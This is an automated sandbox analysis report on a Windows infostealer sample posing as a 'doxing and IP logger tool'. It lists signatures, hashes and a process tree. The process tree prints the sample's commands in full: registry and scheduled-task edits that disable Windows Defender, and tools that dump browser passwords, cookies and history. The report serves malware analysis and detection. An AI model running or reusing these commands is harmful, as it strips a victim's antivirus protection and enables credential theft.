Resubmissions

05/04/2024, 15:24

240405-std2pafe6110

05/04/2024, 15:23

240405-sskg3sfe5s10

05/04/2024, 15:22

240405-sr3bhaga4710

05/04/2024, 15:22

240405-srx2safe3z10

05/04/2024, 15:20

240405-sq122sga2610

05/04/2024, 15:17

240405-sn8n4sfh7210

Analysis

  • max time kernel
    12s
  • max time network
    23s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    05/04/2024, 15:24

Errors

Reason
Machine shutdown

General

  • Target
    doxing and beaming and ip logger tool.exe
  • Size 4.6MB
  • Sample240405-std2pafe61
  • SHA256 e7aa560a8bea5ba549da2f58464e8bda994d4ade6e5890c713527201257b6492
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • NirSoft WebBrowserPassView 4 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 9 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\doxing and beaming and ip logger tool.exe
    "C:\Users\Admin\AppData\Local\Temp\doxing and beaming and ip logger tool.exe"
    1⤵
    • Drops startup file
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1956
    • C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe
      "C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe" ZhXl39BlhP84+Y4kurA8wpehxxqA0X22IMYZ6Vpiqs5n386UnrJbehju5225oWVEk76vClhR//+CQG+UPgxYYSoSFbowmXWFLxQTntGyhGCO2j962jJPGizKdgZ7qhJFw5+yVUQbsQDo0DwG0dAsB+0CypBTvyEMhLGydgZduMY=
      2⤵
      • Executes dropped EXE
      • Modifies system certificate store
      • Suspicious use of AdjustPrivilegeToken
      PID:3028
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
        3⤵
          PID:632
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c compile.bat
            4⤵
            • Loads dropped DLL
            PID:1136
            • C:\Users\Admin\AppData\Local\Temp\bfsvc.exe
              C:\Users\Admin\AppData\Local\Temp\bfsvc.exe /capture /Filename "C:\Users\Admin\AppData\Local\Temp\capture.png"
              5⤵
              • Executes dropped EXE
              PID:2344
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
          3⤵
            PID:2216
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c compile.bat
              4⤵
              • Loads dropped DLL
              PID:1536
              • C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe
                C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_Passwords.txt"
                5⤵
                • Executes dropped EXE
                PID:1572
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
            3⤵
              PID:2112
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c compile.bat
                4⤵
                  PID:1360
                  • C:\Users\Admin\AppData\Local\Temp\winhlp32.exe
                    C:\Users\Admin\AppData\Local\Temp\winhlp32.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies1"
                    5⤵
                      PID:2264
                    • C:\Users\Admin\AppData\Local\Temp\splwow64.exe
                      C:\Users\Admin\AppData\Local\Temp\splwow64.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies2"
                      5⤵
                        PID:1312
                      • C:\Users\Admin\AppData\Local\Temp\hh.exe
                        C:\Users\Admin\AppData\Local\Temp\hh.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies3"
                        5⤵
                          PID:980
                    • C:\Windows\SysWOW64\WScript.exe
                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
                      3⤵
                        PID:1524
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c compile.bat
                          4⤵
                            PID:2928
                            • C:\Users\Admin\AppData\Local\Temp\xwizard.exe
                              C:\Users\Admin\AppData\Local\Temp\xwizard.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_History.txt"
                              5⤵
                                PID:1964
                          • C:\Windows\SysWOW64\shutdown.exe
                            "shutdown" /s /t 0
                            3⤵
                              PID:2656
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe"
                              3⤵
                                PID:2376
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\dav.bat"
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2636
                              • C:\Windows\SysWOW64\reg.exe
                                reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                3⤵
                                  PID:2740
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                  3⤵
                                    PID:2532
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                    3⤵
                                      PID:2240
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                      3⤵
                                        PID:2948
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                        3⤵
                                        • Modifies Windows Defender Real-time Protection settings
                                        PID:2688
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                        3⤵
                                        • Modifies Windows Defender Real-time Protection settings
                                        PID:2648
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                        3⤵
                                        • Modifies Windows Defender Real-time Protection settings
                                        PID:2652
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                        3⤵
                                        • Modifies Windows Defender Real-time Protection settings
                                        PID:2104
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                        3⤵
                                        • Modifies Windows Defender Real-time Protection settings
                                        PID:2684
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                        3⤵
                                          PID:2664
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f┬┤
                                          3⤵
                                            PID:2656
                                          • C:\Windows\SysWOW64\reg.exe
                                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                            3⤵
                                              PID:2312
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                                              3⤵
                                                PID:2536
                                              • C:\Windows\SysWOW64\reg.exe
                                                reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                3⤵
                                                  PID:2444
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                  3⤵
                                                    PID:2620
                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                    3⤵
                                                      PID:2412
                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                      3⤵
                                                        PID:1744
                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                        3⤵
                                                          PID:304
                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                          schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                          3⤵
                                                            PID:1320
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                            3⤵
                                                              PID:1676
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                                                              3⤵
                                                                PID:2316
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                                                                3⤵
                                                                  PID:2180
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                  3⤵
                                                                    PID:1832
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                    3⤵
                                                                      PID:2360
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                      3⤵
                                                                        PID:2284
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                        3⤵
                                                                          PID:2164
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                          3⤵
                                                                            PID:2460
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                            3⤵
                                                                              PID:352
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                              3⤵
                                                                                PID:884
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                3⤵
                                                                                • Modifies security service
                                                                                PID:2128
                                                                          • C:\Windows\system32\LogonUI.exe
                                                                            "LogonUI.exe" /flags:0x0
                                                                            1⤵
                                                                              PID:2444
                                                                            • C:\Windows\system32\LogonUI.exe
                                                                              "LogonUI.exe" /flags:0x1
                                                                              1⤵
                                                                                PID:2164

                                                                              Network

                                                                                    MITRE ATT&CK Enterprise v15

                                                                                    Replay Monitor

                                                                                    Loading Replay Monitor...

                                                                                    Downloads

                                                                                    94308059B57B3142E455B38A6EB92015

                                                                                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
                                                                                    • Size 68KB
                                                                                    • SHA256 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    Admin_Passwords.txt

                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\Admin_Passwords.txt
                                                                                    • Size 2B
                                                                                    • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
                                                                                    • MD5 SHA1 SHA512

                                                                                    Tar2B3C.tmp

                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\Tar2B3C.tmp
                                                                                    • Size 177KB
                                                                                    • SHA256 67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    bfsvc.cfg

                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\bfsvc.cfg
                                                                                    • Size 420B
                                                                                    • SHA256 e6c5c674268a865db840afd3764cd498bdfd8fe677c5193d662abbe64d68975b
                                                                                    • MD5 SHA1 SHA512

                                                                                    compile.bat

                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\compile.bat
                                                                                    • Size 71B
                                                                                    • SHA256 50801c4db374acec11831bf7602cd2635bc8964800c67217b25683dce4a45873
                                                                                    • MD5 SHA1 SHA512

                                                                                    compile.bat

                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\compile.bat
                                                                                    • Size 70B
                                                                                    • SHA256 aca74cefaef4b7a32338c9c63187cffa1e808b54ab218a064007683ad1bd3a0e
                                                                                    • MD5 SHA1 SHA512

                                                                                    compile.bat

                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\compile.bat
                                                                                    • Size 74B
                                                                                    • SHA256 f465a1bd2f9a3efcf0589f0b1c234d285f2bebf7416b324271d987a282915ca8
                                                                                    • MD5 SHA1 SHA512

                                                                                    compile.bat

                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\compile.bat
                                                                                    • Size 156B
                                                                                    • SHA256 db903aae119dc795581080a528ba04286be11be7e9d417305d77123545fbf0f9
                                                                                    • MD5 SHA1 SHA512

                                                                                    compile.vbs

                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\compile.vbs
                                                                                    • Size 265B
                                                                                    • SHA256 abf09cb96f4c04a1d2d2bfd7184da63dd79c2109b1a768ca5dae4265def39eee
                                                                                    • MD5 SHA1 SHA512

                                                                                    config

                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\config
                                                                                    • Size 102B
                                                                                    • SHA256 c1bd5895fe552d4f80cd12740962d57dd67a1acf960f763d26305cc5980ba848
                                                                                    • MD5 SHA1 SHA512

                                                                                    dav.bat

                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\dav.bat
                                                                                    • Size 3KB
                                                                                    • SHA256 1637ce704a463bd3c91a38aa02d1030107670f91ee3f0dd4fa13d07a77ba2664
                                                                                    • MD5 SHA1 SHA512

                                                                                    snuvcdsm.exe

                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe
                                                                                    • Size 391KB
                                                                                    • SHA256 f999357a17e672e87fbed66d14ba2bebd6fb04e058a1aae0f0fdc49a797f58fe
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    winhlp32.exe

                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\winhlp32.exe
                                                                                    • Size 184KB
                                                                                    • SHA256 071e26ddf5323dd9ed6671bcde89df73d78bac2336070e6cb9e3e4b93bde78d1
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    xwizard.cfg

                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\xwizard.cfg
                                                                                    • Size 1KB
                                                                                    • SHA256 3f6ca2bc068c8436044daab867f8ff8f75060048b29882cb2ac9fdef1800df9e
                                                                                    • MD5 SHA1 SHA512

                                                                                    xwizard.exe

                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\xwizard.exe
                                                                                    • Size 544KB
                                                                                    • SHA256 deb1246347ce88e8cdd63a233a64bc2090b839f2d933a3097a2fd8fd913c4112
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    RtkBtManServ.exe

                                                                                    • Path \Users\Admin\AppData\Local\Temp\RtkBtManServ.exe
                                                                                    • Size 4.4MB
                                                                                    • SHA256 bc1364d8e68f515f9f35a6b41c11a649b1f514302eb01812c68c9a95a3198b30
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    bfsvc.exe

                                                                                    • Path \Users\Admin\AppData\Local\Temp\bfsvc.exe
                                                                                    • Size 71KB
                                                                                    • SHA256 5e3f311ae67f046b56435067bcdd39fbf836fa0421fbc8c8b0e43e8e47524954
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    hh.exe

                                                                                    • Path \Users\Admin\AppData\Local\Temp\hh.exe
                                                                                    • Size 103KB
                                                                                    • SHA256 4182172a01bdfc08c5cf7e8652f7d9d81858345a770e2b6b507840e4c1c7764f
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    splwow64.exe

                                                                                    • Path \Users\Admin\AppData\Local\Temp\splwow64.exe
                                                                                    • Size 49KB
                                                                                    • SHA256 ebff7d07efda7245192ce6ecd7767578152b515b510c887ca2880a2566071f64
                                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                                    memory/1312-136-0x0000000000400000-0x000000000041B000-memory.dmp

                                                                                    memory/1956-2-0x0000000004AB0000-0x0000000004AF0000-memory.dmp

                                                                                    memory/1956-144-0x0000000004AB0000-0x0000000004AF0000-memory.dmp

                                                                                    memory/1956-184-0x0000000074520000-0x0000000074C0E000-memory.dmp

                                                                                    memory/1956-0-0x0000000000960000-0x0000000000E06000-memory.dmp

                                                                                    memory/1956-141-0x0000000074520000-0x0000000074C0E000-memory.dmp

                                                                                    memory/1956-3-0x0000000000972000-0x0000000000973000-memory.dmp

                                                                                    memory/1956-1-0x0000000074520000-0x0000000074C0E000-memory.dmp

                                                                                    memory/2164-185-0x0000000002AB0000-0x0000000002AB1000-memory.dmp

                                                                                    memory/2264-140-0x0000000000400000-0x000000000045B000-memory.dmp

                                                                                    memory/2444-182-0x0000000002E10000-0x0000000002E11000-memory.dmp

                                                                                    memory/3028-52-0x00000000024C0000-0x00000000024FC000-memory.dmp

                                                                                    memory/3028-15-0x0000000000060000-0x00000000004DA000-memory.dmp

                                                                                    memory/3028-20-0x00000000047B0000-0x0000000004860000-memory.dmp

                                                                                    memory/3028-55-0x00000000009F0000-0x00000000009F8000-memory.dmp

                                                                                    memory/3028-51-0x0000000000D50000-0x0000000000D80000-memory.dmp

                                                                                    memory/3028-16-0x0000000074520000-0x0000000074C0E000-memory.dmp

                                                                                    memory/3028-50-0x0000000000AA0000-0x0000000000ABA000-memory.dmp

                                                                                    memory/3028-49-0x00000000008F0000-0x00000000008FC000-memory.dmp

                                                                                    memory/3028-53-0x0000000002450000-0x000000000245A000-memory.dmp

                                                                                    memory/3028-183-0x0000000074520000-0x0000000074C0E000-memory.dmp

                                                                                    memory/3028-19-0x0000000004FA0000-0x0000000004FE0000-memory.dmp

                                                                                    memory/3028-54-0x00000000063C0000-0x0000000006462000-memory.dmp